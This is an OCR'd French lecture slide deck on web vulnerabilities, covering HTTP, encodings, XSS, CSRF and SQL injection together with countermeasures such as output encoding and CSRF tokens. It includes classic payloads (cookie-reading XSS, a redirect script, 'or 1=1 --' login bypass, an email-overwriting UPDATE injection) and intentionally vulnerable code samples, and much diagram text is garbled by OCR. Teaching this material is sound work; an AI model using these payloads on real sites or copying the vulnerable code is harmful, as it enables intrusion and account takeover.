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Regles / Ressources

* Une pause de 10 minutes chaque heure

* Désignation
* Maitre du temps
* Cloud

* Re-encadreur sur le cours

e Lien des ressources : http://www.securitylab.fr/avl. html
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http://www.securitylab.fr/avl.html
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Introduction

Types de langages de programmation

Vulnérabilités Web — Contre -Mesures (Déja fait)

Chaine de compilation — Chargement d’un programme en mémoire
Désassembleur — Introduction au langage assembleur

Vulnérabilités des langages compilés — Comment les éviter et s’en protéger
* Buffer-Over-Flow
* Heap-Over-Flow
* Use-After-Free
* Null Pointer
e Etc.



Introduction - Vulnérabilité logicielle 7

Une vulnérabilité logicielle est une faille du logiciel qui
permet & une personne malveillante d’effectuer certaines
actions non autorisées ou d’accéder a des données qu’elle
n’est pas censée étre autorisée a récupérer.

Plus de 18,000 vulnérabilités ont été publiées en 2020

L’exploitation d’une faille de sécurité sur un logiciel
(application web ou autre) peut induire une perte financiere

ou d’image pour l’entreprise

Nécessité d’intégrer la sécurité des la conception des
logicielles (Security by design)

Audit de vulnérabilités

Il existe méme des récompenses offertes par les entreprises
afin de découvrir ces failles. - Bug Bounty

Il existe plusieurs types de vulnérabilité et cela dépend du
type du langage utilisé pour le développement de
I’application
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2020 Zero-Day Vulnerabilities by Software Type

Virtualization Software
3.6%

Email Client

7.1%
Security Software
10.7%

Web Browsers

35.7%

Font Library
14.3%

Operating System
28.6%




Introduction - Vulnérabilité logicielle 7

Une vulnérabilité logicielle est une faille du logiciel qui
permet a une personne malveillante d’effectuer
certaines actions non autorisées ou d’accéder a des
données qu’elle n’est pas censée étre autorisée a
récupérer.

Plus de 18,000 vulnérabilités ont été publiées en 2020

L’exploitation d’une faille de sécurité sur un logiciel
g_app ication qu ou autre) Peut induire une perte
inanciere ou d’image pour 'entreprise

AVERAGE BOUNTY PAYOUT PER INDUSTRY FOR CRITICAL VULNERABILITIES

Nécessité d’intégrer la sécurité des la conception des
logicielles (Security by design)

Audit de vulnérabilités

Il existe méme des récompenses offertes par les
entreprises afin de découvrir ces failles. - Bug Bounty

Il existe plusieurs types de vulnérabilité et cela dépend “ o ks . sl
du type du langage utilis¢ pour le développement de
I’application
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Types de languages de programmation

Compilés (C, C++, JAVA, etc.) Code source
Interprétés (Python, Javascript, php, bash ...) (c,c++,java)

Bytecode et Machine virtuelle . :
« JVM (Java) Analyse Lexicale

v
PVM (Python) Analyse Syntaxique

-

Analyse Sémantique

L

Génération du code
intermédiaire - Assembleur

y

Code cible
(binaire)

N
O
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Types de langages de programmation

Compilés (C, C++, JAVA, etc.)
Code source
Interprétés (python, javascript, php, bash ...) (bash)

B Machi I 11 :
ytecode et Machine virtuelle /bin/bash (exécute une
« JVM (Java)

instruction a la fois)

 PVM (Python) !

Binaires (dans /bin par exemple)

-

0OS

-

Code source
(bash)

N
O

08/11/20: B. AIT SALEM 8

L
L



Types de langages de programmation

Compilés (C, C++, JAVA, etc.)
Interprétés (python, javascript, php, bash ...)

Bytecode et Machine virtuelle
« JVM (Java)
* PVM (Python)

N
O
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Code source

:

Compilation

v
Byte code

-

Virtual Machine (PVM,JVM)

v

0OS




Vulnérabilités Web




Que se passe-t-il quand on visite un site web

A T

Quand on tape 'URL http://www.coogle.ir, =
votre navigateur détermine le nom du
domaine

Retrouve ’adresse IP associée au domaine
Etablie une connexion TCP (80, 443)
Envoie une requéte HT'TP

Recoit une réponse HT'TP d’un des serveurs
Web de Google

GET /HTTP/1.1

Host: www.google.com

Connection: keep-alive

Accept: application/html, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36

HTTP REQUEST

-

Recherche Google Jai de la chance

HTTP/1.1 200 OK
Content-Type: text/html
<html>

<head>

<title>Google.com</title>
</head>
<body>

--snip--

</body>

</html>

Réponse de Google


http://www.google.fr/

Protocole HTTP (Hypertext Transfer Protocol)

C’est un protocole basé sur I’échange de messages

* C(lient --- Request message --> Server Web
* Server Web --- Response message --> Client

HTTP Requests

*  Composeés:
* D’un ou plusieurs entétes (headers) séparés par des sauts de lignes
+ Ligne vide (blank line)
* Un corps de message (message body) en option

* La premiere. Ligne est composée de trois items:
* La methode (get, post, head, etc.)

* L’URL (uniform resource locator) de la ressource demandée ainsi que
les parametres

protocol://hostname[:port]/[path/]file[?7param=value]

* La version du protocole HTTP (1.0, 1.1 (par défaut ou 'entéte Host
est obligatoire))
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Application - HTTP

Transport - TCP
Réseau - IP

Physique

GET /auth/488/YourDetails.ashx?uid=129 HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, application/x-shockwave-
flash, */*

Referer: https://mdsec.net/auth/488/Home.ashx

Accept-Language: en-GB

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64;
Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322)
Accept-Encoding: gzip, deflate

Host: mdsec.net

Connection: Keep-Alive

Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476
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Protocole — HT'TP — Hypertext Transfer Protocol

HTTP Requests - Quelques entétes importants

* Referer : 'URL source d’ou est originaire la
requéte

« User-Agent : information sur le client (ex. firefox,
python,..)

* Host : le nom du server (le hostname) si le serveur
web héberge plusieurs applications web

* Cookie : renvoie au serveur le cookies qui I’a
précédemment généré dans chaque requéte
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Application - HTTP
Transport - TCP
Réseau - IP

Physique

GET /auth/488/YourDetails.ashx?uid=129 HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml+xml,
image/gif, image/pjpeg, application/x-ms-xbap, application/x-shockwave-
flash, */*

Referer: https://mdsec.net/auth/488/Home.ashx

Accept-Language: en-GB

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64;
Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322)
Accept-Encoding: gzip, deflate

Host: mdsec.net

Connection: Keep-Alive

Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476
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Protocole — HT'TP — Hypertext Transfer Protocol

HTTP Responses

« Composée des lignes suivantes

* La version du protocole, le status code
indiquant le résultat de la requéte et un message

textuel associé au code

* Server : indique le nom du server web utilisé
* Set-cookie : envoie le cookie au client

* Content-length : la taille des données
contenues. dans le corps de la réponse.

e Les Méthodes

* Get, post, head, trace options, put

08/11/2022
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HTTP/1.1 200 OK

Date: Tue, 19 Apr 2011 09:23:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1067

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://

www.w3.0rg/TR/xhtmll/DTD/xhtmll-transitional.dtd"><html xmlns="http://

www.w3.0rg/1999/xhtml" ><head><title>Your details</title>

1xx — Informational.
2xx — The request was successful.
3xx — The client is redirected to a different resource.

4xx — The request contains an error of some kind.

5xx — The server encountered an error fulfilling the request.
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Quelques notions utiles sur les applications WEB

Hyperlinks Forms

* Peuvent étre inclus directement dans Envoie de données quelconques au serveur
un code HTML
html>
<a href="7redir=/updates/update29.html”>What’s SRS . o iarmmsent it aaihaps
happening?</a> form ac<;zi)$; secure/login.php?app=quotations" method="pos
<label>username:</label>
- Apreés un click sur « What’s happening? », le navigateur <input type="text" name="username’>
envoie cette requéte HTTP zi:iii>:;:z:?;§;:£ii3?l;ame="password">
GET /news/8/?redir=/updates/update29.html HTTP /1.1 value="/secure/home.php"> SR
Host: mdsec.net </div>
<div>
<input type="submit" name="submit" value="Envoyer">
. </div>
Cookies s,
</html>

Données envoyées par le serveur au client qui sont incluses
dans chaque requéte HTTP envoyée ultérieurement

En général c’est un couple name/value, mais cela peut étre Apres un click sur envoyer, le navigateur envoie cette requéte

une chaine de caracteéres quelconque

. P . ‘
L’entéte Set-Cookie peut contenir des attributs optionnels POST /secure/login.php?app=quotations HTTP/1.1

permettant de controler la gestion du cookie par le navigateur : Host: wahh-app.com
* Domain Content-Type: application/x-www-form-urlencoded
«  Path Content-Length: 39

S Cookie: SESS=GTnrpx2ss2tSWSnhXJGyGOLJ47TMXRsjcFM6Bd
. ecure

username—=~& password=&redir=%2Fsecure%2Fhome.php&submit=Envoyer
*+  HttpOnly

08/11/2022 B. AIT SALEM 15



Quelques notions utiles sur les

username: ‘ toto l

T reuvelu euvle 11cius dlrecuelilelivy ualls

un code HTML

<a href="7redir=/updates/update29.html”>What’s
happening?</a>

- Apreés un click sur « What’s happening? », le navigateur
envoie cette requéte HTTP:

GET /news/8/7redir=/updates/update29.html HTTP /1.1
Host: mdsec.net

Cookies

Données envoyées par le serveur au client qui sont incluses
dans chaque requéte HTTP envoyée ultérieurement

En général c’est un couple name/value, mais cela peut étre
une chaine de caracteéres quelconque

L’entéte Set-Cookie peut contenir des attributs optionnels
permettant de controler la gestion du cookie par le navigateur :

e Domain
« Path
* Secure

*+  HttpOnly

08/11/2022

applications WEB

password: [

nivole de doilees gquelcoiqgues au serveur

html>
<body>
<form action="/gecure/login.php?app=quotations" method="post">
<div>

<label>username:</label>

<input type="text" name="username">
<label>password:</label>

<input type="password" name="password">
<input type="hidden" name="redir"

value="/secure/home.php">
</div>
<div>

<input type="submit" name="submit" value="Envoyer">
</div>
</form>
</body>
</html>

Apres un click sur envoyer, le navigateur envoie cette requéte

POST /secure/login.php?app=quotations HTTP /1.1

Host: wahh-app.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 39

Cookie: SESS=GTnrpx2ss2tSWSnhXJGyGOLJ47TMXRsjcFM6Bd

username—toto&password=titi&redir=%2Fsecure%2Fhome.php&submit=Envoyer

B. AIT SALEM 16



Schémas d’encodage

URL Encoding HTML Encoding

. 5 E - - eres affichables , N
Codes ASCII autorisés [0x20-0xT7e] — caracteres affichables Encoder les métacaractores HTML comme content

+ Sauf les caractéres spéciaux utilisés dans HTML/HTTP « &> &amp; (forme texte)
b

*  Quelques codes: . <> &t

« > > &gty
* ?gg_; e "> &quot;
(7020_ OSpace o > &#x27; (base hex du code ASCII de ')
L] O J—

e %0a — New line . -—-> &#39; (base dec du code ASCII de ')
* %00 — Null byte o /> &#x2F;

UNICODE Encoding Basse64 Encoding

. Yot A . : . ¢ Permet aux données binaires d’étre représentées de maniere siire par des
,C est est un standard qui Per’met des caracteres affichables et éviter ainsi les caractéres spéciaux du protocole ou

échanges de textes dans différentes du langage sous-jacent

langues, 4 un niveau mondial.

& ’ *  Utilisé par exemple dans:

« UTF-8 *  lencodage des pieces jointes via SMTP ou dans I’encodage des

credentials dans 'authentification basique HTTP

+ UTF-16 *  L’encodage des données binaires transmises dans les parametres, les
cookies ou le corps d’une requéte HTTP
« UTF-32
* Caracteres utilisés :
* Le nombre aprés UTF représente le ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqrstuvwixyz0123456
nombre minimal de bits des codets avec 789+ /
lesquels un point de code valide est

. . . )
représente. Exemple :

VGhIIFdlYiBBcHBsaWNhdGlvbiBIY WNrZXIncyBIYW5kYm9vaw==
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Hex Encoding

» Utilisé pour la transmission de données

binaires

¢ Transforme le caractére en caracteres

représentant son code ASCII hexadécimal:
 'daf" > 646166

Byte 2

Tegn 1

18

Tegn 4




Web application architecture

* Il fournit une interface entre les utilisateurs
finaux et les serveurs web par le biais d'un
ensemble de pages web qui sont générées
au niveau du serveur ou qui contiennent du
code de script a exécuter dynamiquement
dans le navigateur.

http://juggyboy.com/?id=6329&print=Y

-

User  Login Form

SELECT * from news where id = 6329



Cross Site Scripting (XSS)

Les attaques Cross-Site Scripting (XSS) sont un type d'injection
dans lequel des scripts malveillants (généralement sous la forme
d'un script c6té navigateur) sont injectés dans des sites web de
confiance.

Les failles qui permettent aux attaques XSS de réussir sont assez
répandues et se produisent partout ou une application web utilise
les données d'un utilisateur dans le résultat qu'elle génere
sans les valider ou les encoder.

Un attaquant peut utiliser XSS pour envoyer un script malveillant
a un utilisateur peu méfiant.

Le navigateur de 1'utilisateur final n'a aucun moyen de savoir que le
script n'est pas digne de confiance et il 1'exécute.

Le code de l'attaquant est généralement écrit en langage
JavaScript, mais d'autres langages de script sont également utilisés,
par exemple ActionScript et VBScript.

Normal Request

404 Not found

/jason_file.html

XSS Attack Code

404 Not found

This example uses a
vulnerable page which handles
requests for a nonexistent pages,

http: //juggyboy.com/jason file.html a classic 404 error pagi/

v

Server Code ‘ (Handles requests for a
{ i page, a
<html> classic 404 error page)
<body>
<? php =—=

urldecode (§ SERVER["
REQUEST URI"]) ;

>

</body>

</html>

i

print "Not found: " . =

Server

A

application has encountered an error") ;</script>



Cross Site Scripting (XSS)

Comme la victime pense que le script provient d'une personne de
confiance, les attaquants exploitent généralement ces vulnérabilités
pour

* accéder a tout cookie, jeton de session ou autre information sensible
* installer des enregistreurs de frappe pour effectuer le vol du presse-
papiers

* modifier le contenu de la page (par exemple, les liens de
téléchargement)

Ces scripts peuvent méme réécrire le contenu de la page HTML ou
rediriger la victime vers un contenu web controlé par 1'attaquant.

Le contenu malveillant envoyé au navigateur Web prend souvent la
forme d'un segment de code JavaScript, mais il peut aussi inclure du
HTML, du Flash ou tout autre type de code que le navigateur peut
exécuter.

Normal RequeSt This example uses a
vulnerable page which handles
requests for a nonexistent pages,

http: //juggyboy.com/jason file.html a classic 404 error pagi/

404 Not found :
v
/jason_flle -html Server Code ‘ (Handles requests for a
Server Response { i page, a
e erecheone | O - vaees o S
<body>
<? php = =
XSS Attack Code urldecode (§_SERVER["

REQUEST URI"]) ;
>

i

print "Not found: " . ‘ = [r—TTY

</body>
<..?.‘*.’.‘.’?.’.'.‘F.f‘.’?.‘3?i...° .| </html>

A

Server

404 Not found

application has encountered an error") ;</script>




Types of XSS

Stored XSS

Cela se produit lorsque les données de
'utilisateur sont stockées sans filtrage sur le
serveur cible, par exemple dans une base de

données.

SR WL o/ www.techpost.org/ |

Facebook acquires file-sharing service

New York-based start-up that lets users privately
3nd sporadically share files through a drag-and-
drop interface with additional options ...

Leave your comment

Jason, | love your blog post!
Attacker <script>onload=window.location="http
o/ fwww.juggyboy.com'</script>

Attacker adds a malicious script in
the comment field of blog post  :

Comment with

@ » malicious link is
< stored on the server
»
.,
Database Server Web Application

Without validation

S LR http://www.techpost.org/

User visits the
TechPost

website Facebook acquires file-sharing service
-------------- > New York-based start-up that letz users privately

and sporadically share files through 3 érag-and-
drop interface with additional 0ptions............

TechPost

Leave your comment

I

User

Malicious code E
<script>onload= :
window.location=
*http://www.juggy E
boy.com’ 3

Q@Q@@g@

Boy.com

<fscript> 3
is injecting the *
blog post :

User redirected to a malicious
website juggyboy.com

Malicious Website

Rendered without encoding



Types of XSS

Reflected XSS

* Il se produit dans une application ot une entrée
utilisateur est immédiatement renvoyée par une
application web dans :

* un message d'erreur

Normal Request This example uses a

vulnerable page which handles
requests for a nonexistent pages,
http://juggyboy.com/jason file.html a classic 404 error pagi/

e résultat de la recherche

404 Not found

* ou toute autre réponse qui inclut tout ou partie des " E v
données fournies par 1'utilisateur dans le cadre de la S s — Server Code | (Handies requests for s
ponse ' { page, a
demande. Crrrrsrnranansansannaneas e . ‘ <html> classic 404 error page)
| <body>
| . . o o . <? php =—=
* L'attaquant exploite cette situation en injectant du code print "Not found: » . | |E{ermmm
. . , XSS Attack Code urldecode (§_SERVER["
exécutable du navigateur dans une seule réponse HTTP. REQUEST_URI™]) ;
>
L 7 2 . . </body>
» L'attaque injectée n'est pas stockée dans l'application e Gt s G e | </bemi> Server
elle-méme. (T —) A

WARNING: The applicstion
13 encountesed an emroc

................................................

* Ne concerne que les utilisateurs qui ouvrent un lien
malveillant ou un parametre HTTP. R

application has encountered an error") ;</script>




Types of XSS

Reflected XSS

* Lorsqu'une application web est vulnérable a ce type
d'attaque, elle renvoie au client les données non
validées envoyées par les requétes.

* Le modus operandi commun de l'attaque comprend une
étape de conception, dans laquelle 1'attaquant crée et
teste une URI malveillante, une étape d'ingénierie
sociale, dans laquelle il va convaincre ses victimes de
charger cet URI sur leur navigateur, et 1'exécution
finale du code offensant a 1'aide du navigateur de la
victime

Normal Request

404 Not found

/jason_file .html

XSS Attack Code

404 Not found

WARNING: The applicstion
13 encountesed an emroc

=8

http: //juggyboy.com/jason file.html

This example uses a
vulnerable page which handles
requests for a nonexistent pages,

a classic 404 error pagi/

v

Server Code ‘ (Handles requests for a
{ i page, a

<html> classic 404 error page)
<body>
<? php =—=
print "Not found: " . = [—
urldecode (§ SERVER[" =
REQUEST_URI:] ; m
>
</body>
</l Server

..............................

A

application has encountered an error") ;</script>



Types of XSS

Dom based XSS

« Il s'agit d'une attaque XSS dans laquelle la charge utile de 1'attaque est exécutée a la suite de la
modification de 1'""environnement" DOM dans le navigateur de la victime, utilisé par le script coté
client d'origine.

* La page elle-méme ne change pas, mais le code coté client (ex. javascript) contenu dans la page
s'exécute différemment en raison des modifications malveillantes qui se sont produites dans
I'environnement DOM.



Types of XSS

Dom based XSS — type-0 XSS
* Navigateur = Analyseur HTML + Moteur graphique

* Analyseur HTML : construire un arbre DOM (Document Object Model) dans une mémoire

* Moteur graphique : construire une représentation de I'arbre DOM sur la base des regles CSS.

» JavaScript : implémente 1'API DOM = modifie 1'arbre.

=> modifie la page HTML/CSS en fonction des actions de 1'utilisateur.

* Il modifie la version mémoire et non le code source.

<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Hello HTML</title>
</head>
<body>
<hl>Hello HTML</h1l>
<p>Bye now.</p>
</body>
</html>

Code source inchangé

Document

|metal

[titte |

Gello HTML) Gello HTMI)

Arbre DOM modifié en mémoire

Firefoxv |} Hello HTML l&r]
<« ¥ (@ ve|[vca @

Hello HTML

Vue reflete les changements du DOM



Types of XSS

Dom based XSS — type-0 XSS

* Par exemple, le code suivant est utilisé pour créer un formulaire permettant a 1'utilisateur de choisir sa langue préférée.

* Sélectionnez votre langue :

< select>
< script>
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>") ;
document.write("<OPTION value=2>Anglais</OPTION>") ;
</script>

</select>

* La page est invoquée avec une URL telle que :

*  http://www. some.site/page.htmi?default=French



Types of XSS

Dom based XSS — type-0 XSS

* Une attaque DOM Based XSS contre cette page peut étre réalisée en envoyant 1'URL suivante a une
victime :

http://www.some.site/page.html?default=< script>alert(document.cookie)</script>
* Quand la victime clique sur ce lien, le navigateur envoie a www.some.site une demande de
/page.html ? default=< script>alert(document.cookie)</script>

* Le serveur répond avec la page contenant le code Javascript ci-dessus. Le navigateur crée un objet
DOM pour la page, dans lequel 1'objet document.location contient la chaine :

http://www.some.site/page.html?default=< script>alert(document.cookie)</script>



Types of XSS

Dom based XSS

* Le code Javascript d'origine de la page ne s'attend pas a ce que le parametre par défaut contienne
des balises HTML et, en tant que tel, il le répercute simplement dans la page (DOM) au moment de
1'exécution.

* Le navigateur rend alors la page résultante et exécute le script de l'attaquant :
Alerte(document.cookie)

 La réponse HTTP envoyée par le serveur ne contient pas la charge utile de 1'attaquant.
Cette charge utile se manifeste au niveau du script coté client au moment de 1'exécution, lorsqu'un
script défectueux accede a la variable DOM document.location et suppose qu'elle n'est
pas malveillante.



Types of XSS

Dom based XSS

Pour éviter d'envoyer la charge utile au serveur, nous exploitons le fait que le fragment
URI (la partie de I'URI apres le # ) n'est pas envoyé au serveur par le navigateur.

Ainsi, tout code coté client qui fait référence, par exemple, a document.location, peut
étre vulnérable a une attaque qui utilise des fragments,

et dans ce cas, la charge utile n'est jamais envoyée au serveur.

Par exemple, le XSS basé sur DOM ci-dessus peut étre modifié en :

http://www.some.site/page.html#default=<script>alert(document.cookie)</script >



XSS — Mitigating

* Le principe de base de la défense contre les XSS est le codage de la sortie de toute
entrée non fiable a 1'écran.

* En ce qui concerne les entrées non fiables, dans le doute, traitez tout (méme les données
que vous avez introduites dans votre base de données comme non fiables).

» Parfois, les données sont partagées entre plusieurs systemes et ce que vous pensez étre vos
données peut ne pas avoir été créé par vous/votre équipe.

* Encodage au fur et a mesure de 1'envoi des données au navigateur

* Encoder les entités HI'ML dans le corps du texte

HTML code :

<div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>
& --> &amp;
<--> &lt;
> --> &gt;
"> &quot;
"> &#x27;

--> &#x2F;



XSS — Mitigating

Encodage au fur et a mesure de l'envoi des données au navigateur
* Encodage des entités HTML dans 'attribut HT'ML

<div attr=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...>content
<div attr="...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">content
<div attr="...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">content



XSS — Mitigating

* Encodage au fur et a mesure de 1'envoi des données au navigateur

* Encodez pour Javascript si vous envoyez les données de 1'utilisateur en javascript.



Détournement de session — Session Riding

L'attaquant exploite le site Web en mettant en ceuvre une attaque de type « cross-site request forgery » (CSRF)
pour transmettre des requétes non autorisées.

Dans le cas d'un piratage de session, l'attaquant pirate une session informatique active en envoyant un courriel ou en
incitant 1'utilisateur a visiter une page Web malveillante alors qu'il est connecté au site ciblé.

Lorsque 1'utilisateur clique sur le lien malveillant, le site Web exécute la demande car 1'utilisateur est déja authentifié.

Les commandes utilisées sont les suivantes : modifier ou supprimer les données des utilisateurs, exécuter des
transactions en ligne, réinitialiser les mots de passe, etc.

------------------------------------------------------------

User Trusted Website

& " | TR e e >
E ‘ Logs into the trusted site and i =
' creates a new session '
tissuosusnsasasns Eciossividhusnamnak “d
= = Stores the session identifier for the ] gﬂ

session in a cookie in the web browser

‘..e..........." .............................. TP PP PP T DT PP ET PP PP PPPEPEERPPE >
| Visits a malicious site ' '

—— 00 . Sends  request from the user s brover o

! using his session cookie
i




Symbol | J <<?php
[ ] session start():
s User logs into trusted server using his credentials if (isset($_REQUEST['symbol']
dommion:“wv.pm. :..'.......'....'.'....'.'...-..'...'."......... .'..) “
method="POST"> : isset(§ REQUEST['shares']))
<p>Symbol: <input type="text" Server sets a session cookie in the user’s browser RO stocks (S REQUEST(| *Symiss
M"ﬁ:”syml“/)(/p) s e R ]'
<p>Shares: <input type="text" $ $ REQUEST[ 'shares']) :} Trusted
Mw"s"ares"/></p> : : l-'......'-'......'.'.'..l....-I.'..l.'.') ?> server
<p><|n'(.)ut type= submnit : Malicious code is executed in the 7
</ . . trusted server
</form>r . ’
- v -
<SSy u n
\ ('-..--..-..-..--.-.'....'..'.'....'....-.:...I--....e.--l
Attacker sends a phishing mail tricking foo KA
user to send a request to a malicious site e

Attacker

(4 SVt
! " Malicious Code
Response page contains malicious code 9
<img

sre="http://juggyboy.com/j
uggyshop . php?symbol=MSFT&s
hares=1000" /> Malicious
Server

User requests a page from the malicious server




Détournement de session — Session Riding

Contre-mesures

* N'autorisez pas votre navigateur et les sites Web a enregistrer les données de connexion.

. yglii{fiez I'en-téte HT'TP referrer et, lors du traitement d'un POST, ignorez les parametres de

* Se déconnecter immédiatement apres avoir utilisé une application web

* N'autorisez pas le navigateur a enregistrer les noms d'utilisateur et les mots de passe, et ne
. ] LI | ’ . . Y
permettez pas aux sites de "se souvenir' des détails de connexion.

* N'utilisez pas le méme navigateur pour accéder aux applications sensibles et pour surfer
librement sur Internet ; s'il est nécessaire de faire les deux choses sur la méme machine, faites-les
avec des navigateurs distincts.

* Les environnements intégrés de courrier /navigateur et de newsreader/navigateur compatibles
HTML présentent des risques supplémentaires, car le simple fait de consulter un message

électronique ou un message d'actualité peut entrainer 1'exécution d'une attaque.



Détournement de session — Session Riding

Contre-mesures

* Ajouter des informations relatives a la session a 1'URL. Ce qui rend l'attaque possible est le
fait que la session est identifiée de maniére unique par le cookie, qui est automatiquement
envoyé par le navigateur.

 Comme d'autres informations spécifiques a la session sont générées au niveau de 1'URL, il
est difficile pour 1'attaquant de connaitre le format des URL a attaquer.



Détournement de session — Session Riding

Contre-mesures

Les informations spécifiques a la session peuvent étre un jeton/token CSRF (CSRF
token pattern) , il devrait étre :

* unique par session utilisateur ;

* Une grande valeur aléatoire (non prévisible)

* généré par un générateur de nombres pseudo-aléatoires a sécurité cryptographique (Cryptographically
Secure Pseudo-Random Number Generator : CSPRNG).

Le jeton peut étre ajouté par le biais de champs cachés (hidden fields) , d'un entétes, et
peut étre utilisé avec des formulaires et des appels AJAX.

« Assurez-vous que le jeton ne fuit pas dans les journaux du serveur ou dans 'URL.

Le serveur doit rejeter 1'action demandée si la validation du jeton CSRF échoue.



SQL Injection Attacks

e L'injection SQL est une technique utilisée pour tirer parti des vulnérabilités liées aux
entrées non validées afin de faire passer des commandes SQL par une application web

pour qu'elles soient exécutées par une base de données.

* L'injection SQL est une attaque de base utilisée pour obtenir un acceés non autorisé a
une base de données ou pour récupérer des informations directement dans la base de
données.

Il s'agit d'une vulnérabilité dans les applications web et non d'un probleme de base de
données ou de serveur web.



SQL Injection Attacks

L'injection SQL peut étre utilisée pour mettre en ceuvre les attaques mentionnées ci-dessous

* Contournement d'authentification

* Divulgation d'informations

* Compromission de l'intégrité des données

* Compromission de la disponibilité des données
* Exécution de code a distance



SQL Injection Attacks

* En utilise cette attaque pour

* Se connecter a une application sans fournir de nom d'utilisateur et de mot de passe valides et
obtenir des privileges administratifs.

* Obtenir des informations sensibles qui sont stockées dans la base de données.

e défigurer une page web, insérer du contenu malveillant dans des pages web ou modifier le contenu
d'une base de données.

* Supprimer les informations de la base de données, suppression de logs ou les informations d'audit
stockées dans une base de données

Il aide un attaquant a compromettre le systéme d'exploitation de 1'hote.



SQL Injection Attacks

* Normal SQL Query

EEX

O O http://wiww. juggyboy.com/BadLogin.aspx

BadLogin.aspx.cs
private void cmdLogin Click(object sender,
System.EventArgs e)

? { string strCnx =
Boy.com "server

- localhost;database=northwind ;uid=sa ;pwd=;";

SqlConnection cnx = new SglConnection(strCnx) ;
cnx.Open() ;

//This code is susceptible to SQL injection
attacks.

sEsuEssssEEsEEEEES .-> string strQry = "SELECT Count(*) FROM
Users WHERE UserName='" + txtUser.Text +
"' AND Password='" + txtPassword.Text +

Forgot Password?

Submit
nm——

nmin .
’

int intRecs;

SqlCommand cmd = new SqglCommand (strQry, cnx);
intRecs = (int) comd.ExecuteScalar()

if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage (txtUser
.Text, false); } else {

1blMsg.Text = "Login attempt failed."; }
Constructed SQL Query «€:=s==esshesi | cnx.close():

SELECT Count(*) FROM Users WHERE / )—‘
UserName='Jason' AND Password='Springfield' | < :

3 / Server-side Code (BadLogin.aspx)

~

Web Browser




SQL Injection Attacks

* Understanding an SQL Injection Query

=
. >\ } http://www.juggyboy.com/Badlogin.aspx

//This code is susceptible to SQL injection
X attacks.
B()y.com . string strQry = "SELECT Count(*) FROM
. Users WHERE UserName='" + txtUser.Text +
"' AND Password='" + txtPassword.Text +

min .
’

Springfield

Forgot Password?
Suberst

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 --' AND Password='Springfield'

SELECT Count(*) FROM Users WHERE UserName='Blah' or 1=1 ——' AND Password='Springfield’

SQL Query Executed Code after —— are now comments



SQL Injection Attacks

 La requéte coté serveur :

String strQry = "SELECT Count(*) FROM Users WHERE UserName="" +
txtUser.Text + "' and Password="'" + txtPassword.Text + "'";

Comprendre une requéte d'injection SQL

e Un utilisateur saisit un nom d'utilisateur et un mot de passe qui correspondent a un
enregistrement dans la table de 1'utilisateur.

* Une requéte SQL générée dynamiquement est utilisée pour récupérer le nombre de lignes
correspondantes.
» L'utilisateur est alors authentifié et redirigé vers la page demandée.

* Lorsque l'attaquant saisit blah’ or 1=1 -- alors la requéte SQL aura l'apparence suivante
Select Count(*) FROM Users WHERE UserName='blah' or 1=1 --' AND Password=""

* Comme les double guillemets désigne le début d'un commentaire en SQL, la requéte devient
simplement :

SELECT Count(*) FROM Users WHERE UserName=‘blah’ or 1=1



SQL Injection Attacks: BadProductList.aspx

* Cette page affiche les produits de la base de
données Northwind et permet aux utilisateurs de
filtrer la liste de produits obtenue a 1'aide
d'une zone de texte appelée txtFilter.

G O http://www.juggyboyshop.com/BadProductList.aspx

private void cmdFilter Click(object sender, System.EventArgs e) {
dgrProducts.CurrentPageIndex = 0;
bindDataGrid(); }

« Comme l'exemple précédent (BadLogin.aspx),
7 . . . private wvoid bindDataGrid() {
ce code est vulnérable aux attaques par injection dgxProducts DataSource = createDataView();
private DataView createDataView() ({

SQL dgrProducts.DataBind(); }
string strCnx =

* Le SQL exécuté est construit dynamiquement e
N . 1 ’, . | 1 "QuantityPerUnit, UnitPrice FROM Products";
a partir d'une entrée fournie par 1'utilisateur.

//This code is susceptible to SQL injection attacks.
if (txtFilter.Text.Length > 0) {
strSQL += " WHERE ProductName LIKE '" + txtFilter.Text + '"; }

SqlConnection cnx = new SqglConnection(strCnx);
SqlDataAdapter ada = new SglDataAdapter(strSQL, cnx);
DataTable dtProducts = new DataTable();

sda.Fill (dtProducts) ;
return dtProducts.DefaultView; Attack Occurs Here




SQL Injection Attacks — Updating Table

LR E PP http://www.juggyboy.com

ﬁ& JuggyBoy.com

Forgot Password

Attacker Launching Email Address
SQL Injection

. Your password will be sent to your
blah DATE jb-customers SET jb-email registered email address

= 'info@juggyboy.com' WHERE email
='jason@springfield.com; --

w
-

SQL Injection Vulnerable Website

\7

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_id, jb-last name FROM members
